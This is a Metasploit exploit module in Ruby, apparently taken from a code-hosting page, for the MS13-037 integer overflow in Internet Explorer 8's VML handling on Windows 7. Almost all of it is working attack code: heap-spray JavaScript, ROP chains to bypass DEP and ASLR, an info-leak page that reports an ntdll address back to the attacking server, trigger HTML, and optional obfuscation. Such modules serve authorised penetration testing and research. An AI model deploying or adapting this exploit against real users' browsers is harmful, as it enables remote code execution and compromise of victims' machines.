432 lines
12 KiB
Ruby
432 lines
12 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::BrowserExploitServer
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include Msf::Exploit::RopDb
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
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'Description' => %q{
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This module exploits an integer overflow vulnerability on Internet Explorer.
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The vulnerability exists in the handling of the dashstyle.array length for vml
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shapes on the vgx.dll module.
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The exploit has been built and tested specifically against Windows 7 SP1 with
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Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
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bypass ASLR, and by default the info leak is used. To make sure the leak is
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successful, the ntdll version should be either v6.1.7601.17514 (the default dll
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version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
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(installed after apply MS12-001). If the target doesn't have the version the exploit
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wants, it will refuse to attack by sending a fake 404 message (webpage not found).
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If you wish to try the JRE6 component instead to bypass ASLR, you can set the
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advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
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have this particular component, the exploit will also refuse to attack by
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sending a 404 message.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nicolas Joly', # Vulnerability discovery, PoC and analysis
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'4B5F5F4B', # PoC
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'juan vazquez', # Metasploit module
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'sinn3r' # BES upgrade
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],
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'References' =>
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[
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[ 'CVE', '2013-2551' ],
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[ 'OSVDB', '91197' ],
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[ 'BID', '58570' ],
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[ 'MSB', 'MS13-037' ],
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[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
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],
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'Payload' =>
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{
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'Space' => 948,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'BrowserRequirements' =>
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{
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:source => /script/i,
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:os_name => OperatingSystems::Match::WINDOWS_7,
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:ua_name => HttpClients::IE,
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:ua_ver => '8.0',
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},
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'Targets' =>
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[
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[
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'IE 8 on Windows 7 SP1',
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{
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'Offset' => '0x5f4'
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 06 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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register_advanced_options(
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[
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# ntdll requires:
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# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
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# * ntdll.dll v6.1.7601.17725 (MS12-001)
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OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ])
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], self.class)
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end
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def exploit
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@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
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@leak_param = rand_text_alpha(5)
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super
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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# Land the payload at 0x0c0c0c0c
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# For IE 8
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def get_ntdll_rop
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case @ntdll_version
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when "6.1.7601.17514"
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stack_pivot = [
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@ntdll_base+0x0001578a, # ret # from ntdll
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@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
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@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
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].pack("V*")
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ntdll_rop = [
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@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
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0x0c0c0c40, # ret to shellcode
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0xffffffff, # ProcessHandle
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0x0c0c0c34, # ptr to BaseAddress
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0x0c0c0c38, # ptr to NumberOfBytesToProtect
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0x00000040, # NewAccessProtection
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0x0c0c0c3c, # ptr to OldAccessProtection
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0x0c0c0c40, # BaseAddress
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0x00000400, # NumberOfBytesToProtect
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0x41414141 # OldAccessProtection
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].pack("V*")
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return stack_pivot + ntdll_rop
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when "6.1.7601.17725"
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stack_pivot = [
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@ntdll_base+0x0001579a, # ret # from ntdll
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@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
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@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
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].pack("V*")
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ntdll_rop = [
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@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
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0x0c0c0c40, # ret to shellcode
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0xffffffff, # ProcessHandle
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0x0c0c0c34, # ptr to BaseAddress
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0x0c0c0c38, # ptr to NumberOfBytesToProtect
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0x00000040, # NewAccessProtection
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0x0c0c0c3c, # ptr to OldAccessProtection
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0x0c0c0c40, # BaseAddress
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0x00000400, # NumberOfBytesToProtect
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0x41414141 # OldAccessProtection
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].pack("V*")
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return stack_pivot + ntdll_rop
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else
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return ""
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end
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t.opts['Rop'].nil?
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# Both ROP chains generated by mona.py - See corelan.be
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case t.opts['Rop']
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when :jre
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print_status("Using JRE ROP")
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stack_pivot = [
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0x7c348b06, # ret # from msvcr71
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0x7c341748, # pop ebx # ret # from msvcr71
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0x7c348b05 # xchg eax, esp # ret from msvcr71
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].pack("V*")
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rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
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when :ntdll
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print_status("Using ntdll ROP")
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rop_payload = get_ntdll_rop + payload.encoded
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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js_trigger = %Q|
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var rect_array = new Array()
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var a = new Array()
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function createRects(){
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for(var i=0; i<0x1000; i++){
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rect_array[i] = document.createElement("v:shape")
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rect_array[i].id = "rect" + i.toString()
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document.body.appendChild(rect_array[i])
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}
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}
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function exploit(){
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var vml1 = document.getElementById("vml1")
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for (var i=0; i<0x1000; i++){
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a[i] = document.getElementById("rect" + i.toString())._anchorRect;
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if (i == 0x800) {
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vml1.dashstyle = "1 2 3 4"
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}
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}
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vml1.dashstyle.array.length = 0 - 1;
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vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
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for (var i=0; i<0x1000; i++)
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{
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delete a[i];
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CollectGarbage();
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}
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location.reload();
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}
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create_rects_func = "createRects"
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exploit_func = "exploit"
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if datastore['OBFUSCATE']
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js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
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js_trigger.obfuscate
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create_rects_func = js_trigger.sym("createRects")
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exploit_func = js_trigger.sym("exploit")
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end
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
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</head>
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<title>
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</title>
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<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
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<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
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<script>
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#{js_trigger}
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</script>
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<body onload="#{create_rects_func}(); #{exploit_func}();">
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<v:oval>
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<v:stroke id="vml1"/>
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</v:oval>
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</body>
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</html>
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return html
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end
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def html_info_leak
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uri_prefix = "#{get_resource.chomp("/")}/#{@second_stage_url}".gsub('//', '/')
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js_trigger = %Q|
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var rect_array = new Array()
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var a = new Array()
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function createRects(){
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for(var i=0; i<0x400; i++){
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rect_array[i] = document.createElement("v:shape")
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rect_array[i].id = "rect" + i.toString()
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document.body.appendChild(rect_array[i])
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}
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}
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function exploit(){
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var vml1 = document.getElementById("vml1")
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for (var i=0; i<0x400; i++){
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a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
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}
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for (var i=0; i<0x400; i++){
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a[i].rotation;
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if (i == 0x300) {
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vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
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}
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}
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var length_orig = vml1.dashstyle.array.length;
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vml1.dashstyle.array.length = 0 - 1;
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for (var i=0; i<0x400; i++)
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{
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a[i].marginLeft = "a";
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marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
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if (marginLeftAddress > 0) {
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vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
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var leak = a[i].marginLeft;
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vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
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vml1.dashstyle.array.length = length_orig;
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document.location = "#{uri_prefix}?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
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return;
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}
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}
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}
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create_rects_func = "createRects"
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exploit_func = "exploit"
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if datastore['OBFUSCATE']
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js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
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js_trigger.obfuscate
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create_rects_func = js_trigger.sym("createRects")
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exploit_func = js_trigger.sym("exploit")
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end
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html = %Q|
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<html>
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<head>
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<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
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</head>
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<title>
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</title>
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<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
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<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
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<script>
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#{js_trigger}
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</script>
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<body onload="#{create_rects_func}(); #{exploit_func}();">
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<v:oval>
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<v:stroke id="vml1"/>
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</v:oval>
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</body>
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</html>
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return html
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end
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def set_rop(t, rop, info)
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case rop
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when /^ntdll$/i
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t.opts['Rop'] = :ntdll
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when /^jre6$/i
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if info[:java] !~ /1\.6|6\.0/
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raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
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end
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t.opts['Rop'] = :jre
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end
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return t
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end
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def on_request_exploit(cli, request, target_info)
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begin
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my_target = set_rop(get_target, datastore['ROP'], target_info)
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rescue RuntimeError => e
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# This one is just a warning, because it's a requirement check so it's not that scary.
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print_warning(e.message)
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send_not_found(cli)
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return
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end
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if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
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html = html_info_leak
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print_status("Sending HTML to info leak...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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else
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leak = begin
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request.uri_parts["QueryString"][@leak_param].to_i
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rescue
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0
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end
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if leak == 0
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html = load_exploit_html(my_target, cli)
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print_status("Sending HTML to trigger...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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return
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end
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print_status("ntdll leak: 0x#{leak.to_s(16)}")
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fingerprint = leak & 0x0000ffff
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case fingerprint
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when 0x70B0
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@ntdll_version = "6.1.7601.17514"
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@ntdll_base = leak - 0x470B0
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when 0x7090
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@ntdll_version = "6.1.7601.17725" # MS12-001
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@ntdll_base = leak - 0x47090
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else
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print_warning("ntdll version not detected, sending 404")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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print_status("Sending HTML to trigger...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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end
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